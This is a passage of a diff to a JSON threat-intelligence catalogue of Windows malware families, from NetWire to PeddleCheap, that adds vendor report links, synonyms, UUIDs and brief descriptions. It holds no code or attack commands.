"https://www.bleepingcomputer.com/news/security/malicious-web-redirect-service-infects-16-500-sites-to-push-malware/", + "https://medium.com/walmartglobaltech/socgholish-campaigns-and-initial-access-kit-4c4283fea8ee" ], "synonyms": [ "NetSupport" @@ -25924,23 +30742,29 @@ "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.netwire", "https://blog.talosintelligence.com/2021/09/operation-armor-piercer.html", + "https://marcoramilli.com/2021/01/09/c2-traffic-patterns-personal-notes/", + "https://www.youtube.com/watch?v=TeQdZxP0RYY", "https://resources.malwarebytes.com/files/2020/05/CTNT_Q1_2020_COVID-Report_Final.pdf", "https://www.circl.lu/pub/tr-23/", "https://umbrella.cisco.com/blog/navigating-cybersecurity-during-a-pandemic-latest-malware-and-threat-actors", "https://blogs.blackberry.com/en/2021/09/threat-thursday-netwire-rat-is-coming-down-the-line", "https://news.drweb.ru/show/?i=13281&c=23", + "https://www.fortinet.com/blog/threat-research/threat-actors-prey-on-eager-travelers", "https://unit42.paloaltonetworks.com/guloader-installing-netwire-rat/", "https://news.sophos.com/en-us/2020/07/14/raticate-rats-as-service-with-commercial-crypter/?cmp=30728", "https://maskop9.wordpress.com/2019/01/30/analysis-of-netwiredrc-trojan/", "https://www.amnesty.org/en/latest/research/2020/06/india-human-rights-defenders-targeted-by-a-coordinated-spyware-operation/", "https://symantec-blogs.broadcom.com/blogs/threat-intelligence/elfin-apt33-espionage", + "https://www.sentinelone.com/wp-content/uploads/2022/02/Modified-Elephant-APT-and-a-Decade-of-Fabricating-Evidence-SentinelLabs.pdf", "https://mp.weixin.qq.com/s/yrDzybPVTbu_9SrZPlSNKA", + "https://www.sentinelone.com/labs/modifiedelephant-apt-and-a-decade-of-fabricating-evidence/", "https://www.gdatasoftware.com/blog/global-pandemic-remcos-tesla-netwire", "https://www.zscaler.com/blogs/security-research/look-hydrojiin-campaign", + "https://www.bleepingcomputer.com/news/security/unskilled-hacker-linked-to-years-of-attacks-on-aviation-transport-sectors/", "https://www.secureworks.com/blog/netwire-rat-steals-payment-card-data", "https://blog.vincss.net/2020/03/re011-unpack-crypter-cua-malware-netwire-bang-x64dbg.html", "https://mp.weixin.qq.com/s/xUM2x89GuB8uP6otN612Fg", - "https://marcoramilli.com/2021/01/09/c2-traffic-patterns-personal-notes/", + "https://community.riskiq.com/article/24759ad2", "http://researchcenter.paloaltonetworks.com/2014/08/new-release-decrypting-netwire-c2-traffic/", "https://drive.google.com/file/d/1dD2sWYES_hrPsoql4G0aVF9ILIxAS4Fd/view", "https://www.ciphertechsolutions.com/roboski-global-recovery-automation/", @@ -25954,10 +30778,13 @@ "https://www.cybereason.com/blog/cybereason-exposes-malware-targeting-us-taxpayers", "https://www.secureworks.com/research/threat-profiles/cobalt-trinity", "https://securityintelligence.com/posts/roboski-global-recovery-automation/", + "https://threatresearch.ext.hp.com/wp-content/uploads/2021/10/HP-Wolf-Security-Threat-Insights-Report-Q3-2021.pdf", "https://blog.morphisec.com/revealing-the-snip3-crypter-a-highly-evasive-rat-loader", + "https://blog.talosintelligence.com/2022/01/nanocore-netwire-and-asyncrat-spreading.html", "https://www.proofpoint.com/us/threat-insight/post/new-whiteshadow-downloader-uses-microsoft-sql-retrieve-malware", "https://www.fireeye.com/blog/threat-research/2017/09/apt33-insights-into-iranian-cyber-espionage.html", "http://blog.talosintelligence.com/2017/12/recam-redux-deconfusing-confuserex.html", + "https://threatpost.com/ta2541-apt-rats-aviation/178422/", "https://www.zscaler.com/blogs/security-research/catching-rats-over-custom-protocols" ], "synonyms": [ @@ -26025,6 +30852,19 @@ "uuid": "a954e642-4cf4-4293-a4b0-c82cf2db785d", "value": "Neutrino POS" }, + { + "description": "", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/win.newbounce", + "https://www.nortonlifelock.com/sites/default/files/2021-10/OPERATION%20EXORCIST%20White%20Paper.pdf" + ], + "synonyms": [], + "type": [] + }, + "uuid": "1695fd64-5e6a-456f-97a4-d09937920543", + "value": "NewBounce" + }, { "description": "", "meta": { @@ -26145,6 +30985,20 @@ "uuid": "35fd764f-8723-4663-9bbf-5b02a64ec02e", "value": "Ngioweb (Windows)" }, + { + "description": "", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/win.nglite", + "https://us-cert.cisa.gov/ncas/alerts/aa21-336a", + "https://unit42.paloaltonetworks.com/manageengine-godzilla-nglite-kdcsponge/" + ], + "synonyms": [], + "type": [] + }, + "uuid": "3bd8a411-5a99-4cf9-bde9-b7c55e79acf8", + "value": "NGLite" + }, { "description": "", "meta": { @@ -26158,6 +31012,66 @@ "uuid": "5a998606-a9a9-42ad-affb-9be37e11ec25", "value": "Nibiru" }, + { + "description": "", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/win.nightsky", + "https://www.youtube.com/watch?v=Yzt_zOO8pDM", + "https://twitter.com/cglyer/status/1480742363991580674", + "https://www.secureworks.com/research/bronze-starlight-ransomware-operations-use-hui-loader", + "https://www.bleepingcomputer.com/news/security/night-sky-is-the-latest-ransomware-targeting-corporate-networks/", + "https://www.microsoft.com/security/blog/2022/05/09/ransomware-as-a-service-understanding-the-cybercrime-gig-economy-and-how-to-protect-yourself", + "https://www.cynet.com/attack-techniques-hands-on/threats-looming-over-the-horizon/" + ], + "synonyms": [ + "Night Sky" + ], + "type": [] + }, + "uuid": "5c8dc23a-86a8-4fee-9fa3-371c9d7b4f1c", + "value": "NightSky" + }, + { + "description": "NimbleMamba is a new implant used by TA402/Molerats group as replacement of LastConn. It uses guardrails to ensure that victims are within the TA's target region. It is written in C# and delivered as an obfuscated .NET executable. One seen obfuscator is SmartAssembly.", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/win.nimblemamba", + "https://www.proofpoint.com/us/blog/threat-insight/ugg-boots-4-sale-tale-palestinian-aligned-espionage", + "https://thehackernews.com/2022/02/palestinian-hackers-using-new.html" + ], + "synonyms": [], + "type": [] + }, + "uuid": "b52a6512-7b0c-431a-8680-93f12921ba46", + "value": "NimbleMamba " + }, + { + "description": "Malware written in Nim, stealing data including discord tokens from browsers, exfiltrating the results via a Discord webhook.", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/win.nimgrabber", + "https://medium.com/walmartglobaltech/investigation-into-the-state-of-nim-malware-part-2-a28bffffa671" + ], + "synonyms": [], + "type": [] + }, + "uuid": "5f998c1d-0377-404d-8ece-dd3486758a44", + "value": "NimGrabber" + }, + { + "description": "Backdoor written in Nim.", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/win.nimrev", + "https://medium.com/walmartglobaltech/investigation-into-the-state-of-nim-malware-part-2-a28bffffa671" + ], + "synonyms": [], + "type": [] + }, + "uuid": "69981781-962a-409a-93c6-cb5377257de8", + "value": "Nimrev" + }, { "description": "", "meta": { @@ -26193,6 +31107,7 @@ "https://malpedia.caad.fkie.fraunhofer.de/details/win.nitro", "https://github.com/nightfallgt/nitro-ransomware", "https://twitter.com/malwrhunterteam/status/1430616882231578624", + "https://documents.trendmicro.com/assets/wp/wp-detecting-apt-activity-with-network-traffic-analysis.pdf", "https://www.bleepingcomputer.com/news/security/discord-nitro-gift-codes-now-demanded-as-ransomware-payments/" ], "synonyms": [ @@ -26222,16 +31137,23 @@ "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.njrat", "https://asec.ahnlab.com/1369", + "https://blog.morphisec.com/syk-crypter-discord", + "https://www.trendmicro.com/en_us/research/21/k/campaign-abusing-rats-uses-fake-websites.html", "https://www.blackberry.com/content/dam/blackberry-com/asset/enterprise/pdf/direct/report-bb-2021-threat-report.pdf", "https://github.com/itsKindred/malware-analysis-writeups/blob/master/bashar-bachir-chain/bashar-bachir-analysis.pdf", "https://www.welivesecurity.com/wp-content/uploads/2020/07/ESET_Threat_Report_Q22020.pdf", + "https://www.microsoft.com/security/blog/2021/11/11/html-smuggling-surges-highly-evasive-loader-technique-increasingly-used-in-banking-malware-targeted-attacks/", + "https://s3.amazonaws.com/talos-intelligence-site/production/document_files/files/000/095/591/original/062521_SideCopy_%281%29.pdf?1625657388", "https://researchcenter.paloaltonetworks.com/2018/08/unit42-gorgon-group-slithering-nation-state-cybercrime/", "https://www.vectra.ai/blogpost/moonlight-middle-east-targeted-attacks", "https://blog.talosintelligence.com/2021/07/sidecopy.html", + "https://cybergeeks.tech/just-another-analysis-of-the-njrat-malware-a-step-by-step-approach/", "http://blog.trendmicro.com/trendlabs-security-intelligence/new-rats-emerge-from-leaked-njw0rm-source-code/", "https://www.bleepingcomputer.com/news/security/fake-microsoft-teams-updates-lead-to-cobalt-strike-deployment/", + "https://forensicitguy.github.io/njrat-installed-from-msi/", "https://s3.amazonaws.com/talos-intelligence-site/production/document_files/files/000/095/592/original/Hashes_IOCs_for_coverage.txt", "https://blog.nviso.eu/2020/09/01/epic-manchego-atypical-maldoc-delivery-brings-flurry-of-infostealers/", + "https://ics-cert.kaspersky.com/media/Kaspersky-ICS-CERT-APT-attacks-on-industrial-organizations-in-H1-2021-En.pdf", "https://www.4hou.com/posts/VoPM", "https://blog.sonatype.com/bladabindi-njrat-rat-in-jdb.js-npm-malware", "https://www.trendmicro.com/en_us/research/21/i/apt-c-36-updates-its-long-term-spam-campaign-against-south-ameri.html", @@ -26244,31 +31166,36 @@ "https://unit42.paloaltonetworks.com/njrat-pastebin-command-and-control", "https://pylos.co/wp-content/uploads/2020/02/Threat-Intelligence-and-the-Limits-of-Malware-Analysis.pdf", "https://www.intezer.com/wp-content/uploads/2021/02/Intezer-2020-Go-Malware-Round-Up.pdf", + "https://blogs.blackberry.com/en/2022/05/dirty-deeds-done-dirt-cheap-russian-rat-offers-backdoor-bargains", "https://www.ciphertechsolutions.com/roboski-global-recovery-automation/", "https://malwr-analysis.com/2020/06/21/njrat-malware-analysis/", + "https://lab52.io/blog/very-very-lazy-lazyscripters-scripts-double-compromise-in-a-single-obfuscation/", "https://www.spamhaus.org/news/images/botnet-report-2020-q2/2020-q2-spamhaus-botnet-threat-report.pdf", "https://www.seqrite.com/documents/en/white-papers/Whitepaper-OperationSideCopy.pdf", "https://news.sophos.com/en-us/2020/05/14/raticate/", "https://securelist.com/apt-trends-report-q2-2019/91897/", "http://blogs.360.cn/post/analysis-of-apt-c-37.html", + "https://twitter.com/ESETresearch/status/1449132020613922828", "https://www.trendmicro.com/content/dam/trendmicro/global/en/research/21/i/apt-c-36-updates-its-long-term-spam-campaign-against-south-american-entities-with-commodity-rats/BlindEagleIOCList.txt", "https://mp.weixin.qq.com/s/gWOIRNPLVqX761LW8x-S5g", "https://www.trendmicro.com/en_us/research/21/i/Water-Basilisk-Uses-New-HCrypt-Variant-to-Flood-Victims-with-RAT-Payloads.html", "https://labs.k7computing.com/?p=21904", "https://www.trendmicro.com/en_us/research/20/i/wind-up-windscribe-vpn-bundled-with-backdoor.html", - "https://blog.fortinet.com/2016/11/30/bladabindi-remains-a-constant-threat-by-using-dynamic-dns-services", "https://github.com/threatland/TL-TROJAN/tree/master/TL.RAT/RAT.Win.njRAT", + "https://blog.fortinet.com/2016/11/30/bladabindi-remains-a-constant-threat-by-using-dynamic-dns-services", "https://securityintelligence.com/posts/roboski-global-recovery-automation/", "https://intel471.com/blog/china-cybercrime-undergrond-deepmix-tea-horse-road-great-firewall/", "https://blog.talosintelligence.com/2021/08/rat-campaign-targets-latin-america.html", "https://www.proofpoint.com/us/threat-insight/post/new-whiteshadow-downloader-uses-microsoft-sql-retrieve-malware", + "https://intel471.com/blog/privateloader-malware", "https://about.fb.com/news/2021/04/taking-action-against-hackers-in-palestine/", "https://ti.360.net/blog/articles/analysis-of-apt-c-27/", "https://blog.reversinglabs.com/blog/rats-in-the-library", "https://s3.amazonaws.com/talos-intelligence-site/production/document_files/files/000/095/594/original/Network_IOCs_list_for_coverage.txt?1625657479", "https://s3.amazonaws.com/talos-intelligence-site/production/document_files/files/000/095/591/original/062521_SideCopy_%281%29.pdf", + "https://www.zscaler.com/blogs/security-research/catching-rats-over-custom-protocols", "https://www.menlosecurity.com/blog/isomorph-infection-in-depth-analysis-of-a-new-html-smuggling-campaign/", - "https://www.zscaler.com/blogs/security-research/catching-rats-over-custom-protocols" + "https://cyberandramen.net/2022/01/12/analysis-of-njrat-powerpoint-macros/" ], "synonyms": [ "Bladabindi" @@ -26320,12 +31247,27 @@ "uuid": "f3cbe9ca-e65e-41af-8eb2-1e9877434124", "value": "Nokki" }, + { + "description": "", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/win.nokoyawa", + "https://www.trendmicro.com/en_us/research/22/c/nokoyawa-ransomware-possibly-related-to-hive-.html", + "https://www.sentinelone.com/labs/nokoyawa-ransomware-new-karma-nemty-variant-wears-thin-disguise/" + ], + "synonyms": [], + "type": [] + }, + "uuid": "934a633a-21f7-4010-a83a-0b64c365355d", + "value": "Nokoyawa Ransomware" + }, { "description": "", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.noxplayer", - "https://www.welivesecurity.com/2021/02/01/operation-nightscout-supply-chain-attack-online-gaming-asia/" + "https://www.welivesecurity.com/2021/02/01/operation-nightscout-supply-chain-attack-online-gaming-asia/", + "https://ics-cert.kaspersky.com/media/Kaspersky-ICS-CERT-APT-attacks-on-industrial-organizations-in-H1-2021-En.pdf" ], "synonyms": [], "type": [] @@ -26403,6 +31345,24 @@ "uuid": "83cfa206-b485-47fd-b298-1b008ab86507", "value": "NVISOSPIT" }, + { + "description": "", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/win.nworm", + "https://bazaar.abuse.ch/browse/tag/N-W0rm/", + "https://www.secuinfra.com/en/techtalk/n-w0rm-analysis-part-2/", + "https://www.secuinfra.com/en/techtalk/n-w0rm-analysis-part-1/" + ], + "synonyms": [ + "NWorm", + "nw0rm" + ], + "type": [] + }, + "uuid": "bdc00b3a-2ceb-4818-83fa-96fb11c8540f", + "value": "N-W0rm" + }, { "description": "", "meta": { @@ -26414,6 +31374,7 @@ "https://www.proofpoint.com/us/threat-insight/post/nymaim-config-decoded", "https://securityintelligence.com/posts/goznym-closure-comes-in-the-shape-of-a-europol-and-doj-arrest-operation/", "https://bitbucket.org/daniel_plohmann/idapatchwork", + "https://www2.deloitte.com/content/dam/Deloitte/us/Documents/risk/us-aers-the-evolution-of-the-nymaim-criminal-enterprise.pdf", "https://arielkoren.com/blog/2016/11/02/nymaim-deep-technical-dive-adventures-in-evasive-malware/", "https://www.proofpoint.com/us/what-old-new-again-nymaim-moves-past-its-ransomware-roots-0", "https://public.gdatasoftware.com/Web/Landingpages/DE/GI-Spring2014/slides/004_plohmann.pdf", @@ -26450,8 +31411,12 @@ "https://blog.talosintelligence.com/2020/02/obliquerat-hits-victims-via-maldocs.html", "https://umbrella.cisco.com/blog/cybersecurity-threat-spotlight-backdoors-rats-loaders-evasion-techniques", "https://www.pwc.co.uk/cyber-security/pdf/pwc-cyber-threats-2020-a-year-in-retrospect.pdf", + "https://www.trendmicro.com/content/dam/trendmicro/global/en/research/22/a/investigating-apt36-or-earth-karkaddan-attack-chain-and-malware-arsenal/IoCs_Investigating%20APT36%20or%20Earth%20Karkaddan%20Attack%20Chain%20and%20Malware%20Arsenal.rtf", "https://securelist.com/transparent-tribe-part-2/98233/", + "https://www.trendmicro.com/en_us/research/22/a/investigating-apt36-or-earth-karkaddans-attack-chain-and-malware.html", + "https://www.bleepingcomputer.com/news/security/hackers-use-modified-mfa-tool-against-indian-govt-employees/", "https://www.secrss.com/articles/24995", + "https://www.trendmicro.com/content/dam/trendmicro/global/en/research/22/a/investigating-apt36-or-earth-karkaddan-attack-chain-and-malware-arsenal/Earth%20Karkaddan%20APT-%20Adversary%20Intelligence%20and%20Monitoring%20Report.pdf", "https://blog.talosintelligence.com/2021/05/transparent-tribe-infra-and-targeting.html", "https://blog.talosintelligence.com/2021/02/obliquerat-new-campaign.html", "https://blog.talosintelligence.com/2020/12/2020-year-in-malware.html" @@ -26516,6 +31481,23 @@ "uuid": "d8305201-9fec-4e6b-9eec-7ebb756364e2", "value": "OddJob" }, + { + "description": "Spam bot that was active around 2007 and after, one of the first malware families to use a domain generation algorithm.", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/win.oderoor", + "https://web.archive.org/web/20160616170611/https://media.blackhat.com/bh-eu-10/presentations/Carrera_Silberman/BlackHat-EU-2010-Carrera-Silberman-State-of-Malware-slides.pdf", + "https://web.archive.org/web/20160324035554/https://www.johannesbader.ch/2015/12/krakens-two-domain-generation-algorithms//" + ], + "synonyms": [ + "Bobax", + "Kraken" + ], + "type": [] + }, + "uuid": "fb5c1af2-9028-47c7-937b-ab0ba0078485", + "value": "Oderoor" + }, { "description": "", "meta": { @@ -26552,6 +31534,7 @@ "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.oldbait", "https://www2.fireeye.com/rs/fireye/images/rpt-apt28.pdf", + "https://www.mandiant.com/sites/default/files/2021-09/APT28-Center-of-Storm-2017.pdf", "https://www.secjuice.com/fancy-bear-review/" ], "synonyms": [ @@ -26569,7 +31552,7 @@ "https://malpedia.caad.fkie.fraunhofer.de/details/win.olympic_destroyer", "https://www.youtube.com/watch?v=a4BZ3SZN-CI", "http://blog.talosintelligence.com/2018/02/olympic-destroyer.html", - "https://www.riskint.blog/post/revisited-fancy-bear-s-new-faces-and-sandworms-too", + "https://www.fortinet.com/blog/threat-research/the-increasing-wiper-malware-threat", "https://www.wired.com/story/us-indicts-sandworm-hackers-russia-cyberwar-unit/", "https://www.lastline.com/labsblog/olympic-destroyer-south-korea/", "https://www.youtube.com/watch?v=1jgdMY12mI8", @@ -26585,6 +31568,7 @@ "http://blog.talosintelligence.com/2018/02/who-wasnt-responsible-for-olympic.html", "https://securelist.com/apt-trends-report-q2-2019/91897/", "https://www.wired.com/story/untold-story-2018-olympics-destroyer-cyberattack/", + "https://www.riskint.blog/post/revisited-fancy-bear-s-new-faces-and-sandworms-too", "https://www.mbsd.jp/blog/20180215.html", "https://securelist.com/olympicdestroyer-is-here-to-trick-the-industry/84295/" ], @@ -26761,11 +31745,14 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.orcus_rat", + "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/log4j-vulnerabilities-attacks", "https://blog.talosintelligence.com/2019/08/rat-ratatouille-revrat-orcus.html", "https://blog.checkpoint.com/2019/02/27/protecting-against-winrar-vulnerabilities/", "https://www.trendmicro.com/content/dam/trendmicro/global/en/research/21/i/ssl-tls-technical-brief/ssl-tls-technical-brief.pdf", "https://blog.fortinet.com/2017/12/07/a-peculiar-case-of-orcus-rat-targeting-bitcoin-investors", "https://www.canada.ca/en/radio-television-telecommunications/news/2019/03/crtc-and-rcmp-national-division-execute-warrants-in-malware-investigation.html", + "https://assets.virustotal.com/reports/2021trends.pdf", + "https://blogs.blackberry.com/en/2022/05/dot-net-stubs-sowing-the-seeds-of-discord", "https://krebsonsecurity.com/2016/07/canadian-man-is-author-of-popular-orcus-rat/", "https://krebsonsecurity.com/2019/04/canadian-police-raid-orcus-rat-author/", "http://researchcenter.paloaltonetworks.com/2016/08/unit42-orcus-birth-of-an-unusual-plugin-builder-rat/" @@ -26785,6 +31772,7 @@ "https://malpedia.caad.fkie.fraunhofer.de/details/win.ordinypt", "https://dissectingmalwa.re/tfw-ransomware-is-only-your-side-hustle.html", "https://www.bleepingcomputer.com/news/security/ordinypt-ransomware-intentionally-destroys-files-currently-targeting-germany/", + "https://www.fortinet.com/blog/threat-research/the-increasing-wiper-malware-threat", "https://www.gdata.de/blog/2017/11/30151-ordinypt", "https://www.carbonblack.com/2019/09/05/cb-threat-analysis-unit-technical-breakdown-germanwiper-ransomware/" ], @@ -26798,15 +31786,19 @@ "value": "Ordinypt" }, { - "description": "", + "description": "Oski is a stealer written in C++ that appeared around November 2019 and is being sold for between 70$ to 100$ on Russian-speaking forums. It collects different types of data (cryptocurrency wallets, saved passwords, files matching an attacker-defined pattern etc) and it exfiltrates it in a zip file uploaded to the attacker's panel.", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.oski", - "https://www.cyberark.com/resources/threat-research-blog/meet-oski-stealer-an-in-depth-analysis-of-the-popular-credential-stealer", "https://labs.bitdefender.com/2020/03/new-router-dns-hijacking-attacks-abuse-bitbucket-to-host-infostealer/", "https://yoroi.company/research/the-wayback-campaign-a-large-scale-operation-hiding-in-plain-sight/", - "https://drive.google.com/file/d/1c72YIF6JYcEvbFZCrkZO26D9hC3gnyMP/view", - "https://twitter.com/albertzsigovits/status/1160874557454131200" + "https://blog.minerva-labs.com/underminer-exploit-kit-the-more-you-check-the-more-evasive-you-become", + "https://medium.com/shallvhack/oski-stealer-a-credential-theft-malware-b9bba5164601", + "https://www.cyberark.com/resources/threat-research-blog/meet-oski-stealer-an-in-depth-analysis-of-the-popular-credential-stealer", + "https://cyberint.com/blog/research/mars-stealer/", + "https://twitter.com/albertzsigovits/status/1160874557454131200", + "https://3xp0rt.com/posts/mars-stealer", + "https://drive.google.com/file/d/1c72YIF6JYcEvbFZCrkZO26D9hC3gnyMP/view" ], "synonyms": [], "type": [] @@ -26835,7 +31827,8 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.ousaban", - "https://www.welivesecurity.com/2021/05/05/ousaban-private-photo-collection-hidden-cabinet/" + "https://www.welivesecurity.com/2021/05/05/ousaban-private-photo-collection-hidden-cabinet/", + "https://www.atomicmatryoshka.com/post/ousaban-msi-installer-analysis" ], "synonyms": [], "type": [] @@ -26931,6 +31924,19 @@ "uuid": "7a6d97a2-821f-4083-9180-3f70a851ad5e", "value": "Owlproxy" }, + { + "description": "Kaspersky describes this as a OWA add-on that has credential stealing capabilities.", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/win.owowa", + "https://securelist.com/owowa-credential-stealer-and-remote-access/105219/" + ], + "synonyms": [], + "type": [] + }, + "uuid": "aa985bc5-92e4-43c6-a01b-1de02818cfc9", + "value": "Owowa" + }, { "description": "", "meta": { @@ -26999,6 +32005,7 @@ "https://www.spamhaus.org/news/article/771/", "https://www.slideshare.net/codeblue_jp/cb19-cyber-threat-landscape-in-japan-revealing-threat-in-the-shadow-by-chi-en-shen-ashley-oleg-bondarenko", "https://www.proofpoint.com/us/threat-insight/post/threat-actor-profile-ta544-targets-geographies-italy-japan-range-malware", + "https://medium.com/@crovax/panda-banker-analysis-part-1-d08b3a855847", "http://blog.talosintelligence.com/2017/11/zeus-panda-campaign.html", "https://www.f5.com/labs/articles/education/banking-trojans-a-reference-guide-to-the-malware-family-tree", "https://cyberwtf.files.wordpress.com/2017/07/panda-whitepaper.pdf", @@ -27021,6 +32028,7 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.panda_stealer", + "https://threatresearch.ext.hp.com/javascript-malware-dispensing-rats-into-the-wild/", "https://www.trendmicro.com/en_us/research/21/e/new-panda-stealer-targets-cryptocurrency-wallets-.html" ], "synonyms": [], @@ -27029,6 +32037,27 @@ "uuid": "7fa924a9-4d7a-406c-b298-bf3b01557ac8", "value": "Panda Stealer" }, + { + "description": "Pandora ransomware was obtained by vx-underground at 2022-03-14.", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/win.pandora", + "https://dissectingmalwa.re/blog/pandora/", + "https://cloudsek.com/technical-analysis-of-emerging-sophisticated-pandora-ransomware-group/", + "https://www.fortinet.com/blog/threat-research/Using-emulation-against-anti-reverse-engineering-techniques", + "https://www.secureworks.com/research/bronze-starlight-ransomware-operations-use-hui-loader", + "https://www.fortinet.com/blog/threat-research/looking-inside-pandoras-box", + "https://www.microsoft.com/security/blog/2022/05/09/ransomware-as-a-service-understanding-the-cybercrime-gig-economy-and-how-to-protect-yourself", + "https://cip.gov.ua/en/news/khto-stoyit-za-kiberatakami-na-ukrayinsku-kritichnu-informaciinu-infrastrukturu-statistika-15-22-bereznya", + "https://kienmanowar.wordpress.com/2022/03/21/quicknote-analysis-of-pandora-ransomware/", + "https://www.microsoft.com/security/blog/2022/05/09/ransomware-as-a-service-understanding-the-cybercrime-gig-economy-and-how-to-protect-yourself/" + ], + "synonyms": [], + "type": [] + }, + "uuid": "e43b67bc-3c16-4a69-b63d-f6bf3d732e1b", + "value": "Pandora" + }, { "description": "Ransomware.", "meta": { @@ -27052,11 +32081,13 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.parallax", - "https://www.vkremez.com/2020/02/lets-learn-inside-parallax-rat-malware.html", "https://blog.talosintelligence.com/2020/02/coronavirus-themed-malware.html", - "https://blog.morphisec.com/parallax-rat-active-status", "https://www.bleepingcomputer.com/news/security/parallax-rat-common-malware-payload-after-hacker-forums-promotion/", - "https://twitter.com/malwrhunterteam/status/1227196799997431809" + "https://blog.morphisec.com/parallax-rat-active-status", + "https://twitter.com/malwrhunterteam/status/1227196799997431809", + "https://www.bleepingcomputer.com/news/security/unskilled-hacker-linked-to-years-of-attacks-on-aviation-transport-sectors/", + "https://www.vkremez.com/2020/02/lets-learn-inside-parallax-rat-malware.html", + "https://threatpost.com/ta2541-apt-rats-aviation/178422/" ], "synonyms": [ "ParallaxRAT" @@ -27079,6 +32110,43 @@ "uuid": "c5eee19f-0877-4709-86ea-328e346af1bf", "value": "parasite_http" }, + { + "description": "PartyTicket is a Go-written ransomware, which was described as a poorly designed one by Zscaler. According to Brett Stone-Gross this malware is likely intended to be a diversion from the Hermetic wiper (aka. KillDisk.NCV, DriveSlayer) attack.", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/win.partyticket", + "https://threatpost.com/free-hermeticransom-ransomware-decryptor-released/178762/", + "https://www.crowdstrike.com/blog/how-to-decrypt-the-partyticket-ransomware-targeting-ukraine/", + "https://www.mandiant.com/resources/russia-invasion-ukraine-retaliation", + "https://www.brighttalk.com/webcast/15591/534324", + "https://go.recordedfuture.com/hubfs/reports/mtp-2022-0302.pdf", + "https://decoded.avast.io/threatresearch/help-for-ukraine-free-decryptor-for-hermeticransom-ransomware/", + "https://www.splunk.com/en_us/blog/security/detecting-hermeticwiper.html", + "https://www.esentire.com/blog/esentire-threat-intelligence-malware-analysis-hermeticwiper-partyticket", + "https://securelist.com/webinar-on-cyberattacks-in-ukraine-summary-and-qa/106075/", + "https://www.zscaler.com/blogs/security-research/technical-analysis-partyticket-ransomware", + "https://securelist.com/new-ransomware-trends-in-2022/106457/", + "https://www.techtarget.com/searchsecurity/news/252514091/CrowdStrike-cracks-PartyTicket-ransomware-targeting-Ukraine", + "https://www.welivesecurity.com/2022/03/01/isaacwiper-hermeticwizard-wiper-worm-targeting-ukraine/", + "https://inquest.net/blog/2022/04/07/ukraine-cyberwar-overview", + "https://www.bleepingcomputer.com/news/security/free-decryptor-released-for-hermeticransom-victims-in-ukraine/", + "https://msrc-blog.microsoft.com/2022/02/28/analysis-resources-cyber-threat-activity-ukraine", + "https://www.trendmicro.com/content/dam/trendmicro/global/en/research/22/c/cyberattacks-are-prominent-in-the-russia-ukraine-conflict/IOC%20Resource%20for%20Russia-Ukraine%20Conflict-Related%20Cyberattacks-03032022.pdf", + "https://www.mandiant.com/resources/information-operations-surrounding-ukraine", + "https://query.prod.cms.rt.microsoft.com/cms/api/am/binary/RE4Vwwd", + "https://securelist.com/elections-goransom-and-hermeticwiper-attack/105960/", + "https://www.kaspersky.com/blog/hermeticransom-hermeticwiper-attacks-2022/43825/" + ], + "synonyms": [ + "Elections GoRansom", + "HermeticRansom", + "SonicVote" + ], + "type": [] + }, + "uuid": "697d905a-5353-43ed-97e0-15f7d2763b69", + "value": "PartyTicket" + }, { "description": "Ransomware.", "meta": { @@ -27113,14 +32181,31 @@ "uuid": "46dc64c6-e927-44fc-b4a4-efd1677ae030", "value": "Pay2Key" }, + { + "description": "PcShare is a open-source backdoor which has been seen modified and used by Chinese threat actors, mainly attacking countries in South East Asia.", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/win.pcshare", + "https://web.archive.org/web/20191115210757/https://threatvector.cylance.com/en_us/home/pcshare-backdoor-attacks-targeting-windows-users-with-fakenarrator-malware.html" + ], + "synonyms": [], + "type": [] + }, + "uuid": "42100d7e-39c7-47c0-bc9e-3c590ed0d837", + "value": "PcShare" + }, { "description": "", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.pebbledash", + "https://malwarenailed.blogspot.com/2020/06/peebledash-lazarus-hiddencobra-rat.html?m=1", + "https://asec.ahnlab.com/wp-content/uploads/2021/11/Kimsuky-%EA%B7%B8%EB%A3%B9%EC%9D%98-APT-%EA%B3%B5%EA%B2%A9-%EB%B6%84%EC%84%9D-%EB%B3%B4%EA%B3%A0%EC%84%9C-AppleSeed-PebbleDash.pdf", + "https://asec.ahnlab.com/en/30532/", "https://www.us-cert.gov/ncas/analysis-reports/ar20-133c", "https://securelist.com/andariel-evolves-to-target-south-korea-with-ransomware/102811/", - "https://malwarenailed.blogspot.com/2020/06/peebledash-lazarus-hiddencobra-rat.html?m=1", + "https://download.ahnlab.com/global/brochure/Analysis%20Report%20of%20Kimsuky%20Group.pdf", + "https://asec.ahnlab.com/en/30022/", "https://blog.reversinglabs.com/blog/hidden-cobra" ], "synonyms": [], @@ -27136,6 +32221,7 @@ "https://malpedia.caad.fkie.fraunhofer.de/details/win.peddlecheap", "https://www.forcepoint.com/fr/blog/security-labs/new-whitepaper-danderspritzpeddlecheap-traffic-analysis-part-1-2#", 